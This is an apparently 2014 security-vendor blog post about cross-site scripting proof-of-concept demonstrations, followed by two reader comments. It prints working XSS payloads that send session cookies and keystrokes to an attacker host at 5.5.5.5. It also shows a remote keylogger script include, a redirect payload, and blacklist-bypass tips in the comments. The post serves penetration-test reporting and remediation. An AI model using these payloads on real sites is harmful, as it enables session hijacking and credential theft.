XSS--Beyond the Alert Box

Cross site scripting (XSS) is everywhere. Holding the #3 spot on the OWASP Top 10 list, it is one of the most common findings while performing vulnerability assessments and penetration testing. With the rise of new web technologies, such as HTML5, the attack vector is constantly growing. Therefore, we also need to be advancing our detection techniques and how we are effectively communicating the business impacts to the client.

 

One of the most common techniques used as proof of concept (PoC) for identifying XSS has been the javascript alert box. The premise is this: if an attacker can send javascript code for an alert box into the application and have it executed within the browser, then XSS is present. For example:

 

The attacker modifies the user parameter to contain the javascript code for an alert box:

 

http://target.site/welcome.php?user=Danny<script>alert('XSS')</script>

 

The application then responds to the request with the unfiltered javascript code inserted within the HTML: 

 

<span>Welcome Danny<script>alert('XSS')</script>!</span>

 

Which would then result in the following alert box:

 

Screen Shot 2014-05-22 at 4.12.24 PM.png

 

The problem with this technique is not about its effectiveness, but rather that it doesn't communicate clearly the source of the issue or the possible business impacts. Consider this: if the client uses the PoC alone for remediation, they may attempt to fix their application by blacklisting both the <script> and alert strings. Does this protect them from XSS? Certainly not. Let's modify the attack to use an <img> tag and a confirm box instead:

 

http://target.site/welcome.php?user=Danny<img src=x onerror=confirm('XSS')>

  

The application then responds to the request with the filtered javascript code inserted within the HTML:

 

<span>Welcome Danny<img src=x onerror=confirm('XSS')>!</span>

  

Which would then result in the following confirm box:

 

Screen Shot 2014-05-22 at 10.36.04 PM.png

 

 

Unless the client had decided to retest the application, they would have assumed that the vulnerability had been remediated. The heart of the issue is not the alert box, but rather that the application had trusted user provided data to be processed without sanitization.

 

Let's look at the business impacts of XSS. Beside prompting for the user's interaction, the alert box itself doesn't pose a risk to the application. Also, based on the functionality and contents of the application being tested, the actual risk of XSS may vary greatly. With that said, there are many different attacks that go beyond the alert box in which the client should be made aware of. Here are few:

 

Session hijacking

 

A PoC could utilize XSS to steal session cookies for authenticated users and send them back to an attacker controlled server. Using our previous example and an attacker controlled server with the IP address of 5.5.5.5, it may look like this:

 

http://target.site/welcome.php?user=Danny<img src=x onerror=this.src='http://5.5.5.5/?cookie='+document.cookie>

  

The attacker would then check the logs on his server for the following request with the session cookie value:

 

Screen Shot 2014-05-22 at 11.25.18 PM.png

  

Recording keystrokes

 

If the session cookies are protected by the HttpOnly flag, then it would be effective to demonstrate a key-logger attack as the PoC. On a login page, the following javascript would collect each keystroke from the user and send it to the attacker controlled server:

 

var data = ''; 
document.onkeypress = function(e) { 
   var w = window.event ? event : e; 
   var keystroke = w.keyCode ? w.keyCode : w.charCode; 
   keystroke = String.fromCharCode(keystroke); 
   data = data + keystroke; 
} 

window.setInterval(function(){ 
   new Image().src='http://5.5.5.5/?c=' + data; data = ''; 
}, 1500);

  

Because this code is larger than what we ideally would want to use in a GET request, the attacker could store the code in a file on his server and reference it using the <script src> attribute:

 

http://target.site/welcome.php?user=Danny<script src%3d'http://5.5.5.5/keylogger.js'></script>

  

The attacker would then check the logs on his server and see the user's password sent over multiple requests: ThisIsMyPassword

 

Screen Shot 2014-05-22 at 11.52.56 PM.png

 

Page redirect

 

If the application does not support authentication, such as a brochure site, then the PoC could redirect the user to a page of the attacker's choosing. Some examples could be: 

  • Competitor's website
  • Installation page for a virus or backdoor
  • Fake login for a popular website 

The PoC for this type of attack would look like the following:

 

http://target.site/welcome.php?user=Danny<script>document.location='http://website'</script>

  

The application then responds to the request and would promptly redirect the user to the provided website:

 

<span>Welcome Danny<script>document.location='http://website'</script>!</span>

  

Web technologies will always be growing and changing, and in doing so will introduce new attack vectors along the way. If we are to provide valuable testing and awareness to clients, then we need to be going beyond the alert box. It is up to us to use whichever scenario best matches the application and communicates the business impact that would speak most to the client. The goal is to provide the information in a way which will best equip them to remediate the issue. While at the same time, what you are doing is demonstrating that you have an in-depth knowledge of the vulnerability and value of your service.

 

About HP Fortify On Demand

 

HP Fortify on Demand is a cloud-base Application Security solution. We perform multiple types of security testing, including advanced manual XSS detection.

 

If you have questions or comments reach out to us on Twitter @hpappsecurity or at fodsales(at)hp.com!

Labels: Fortify
Comments
atul t | ‎05-31-2014 09:28 AM
Hii as all we know that today's most websites have applied good filtering machanism to filter malicious input, despite of all these filters how we can test XSS bugs and generate PoC?
DannyChrastil ‎06-13-2014 01:57 PM - edited ‎06-13-2014 01:58 PM

There are many sites and frameworks that are effectively filtering XSS, however it is still one of the most common vulnerabilities we find during testing. Why is this? Because XSS is very difficult to completely mitigate. If a blacklist is being used, you can try different types of encoding and/or use of comments to bypass the blacklist filter.  Also, XSS seems to show up when a website is going through upgrades or active development. Whenever new sections are added to the site, they are prime suspects and should be tested thoroughly.

 

Also, there are new vectors for XSS showing up all the time. For instance, HTML5 has a very popular function that when used improperly can open a very unique XSS attack. I will be covering this in my next post!

 

 

Leave a Comment

We encourage you to share your comments on this post. Comments are moderated and will be reviewed
and posted as promptly as possible during regular business hours

To ensure your comment is published, be sure to follow the Community Guidelines.

Be sure to enter a unique name. You can't reuse a name that's already in use.
Be sure to enter a unique email address. You can't reuse an email address that's already in use.
Type the characters you see in the picture above.Type the words you hear.
Search
Showing results for 
Search instead for 
Do you mean 
About the Author
hacker, developer, script junkie [python,ruby,php]
Featured


Follow Us
The opinions expressed above are the personal opinions of the authors, not of HP. By using this site, you accept the Terms of Use and Rules of Participation.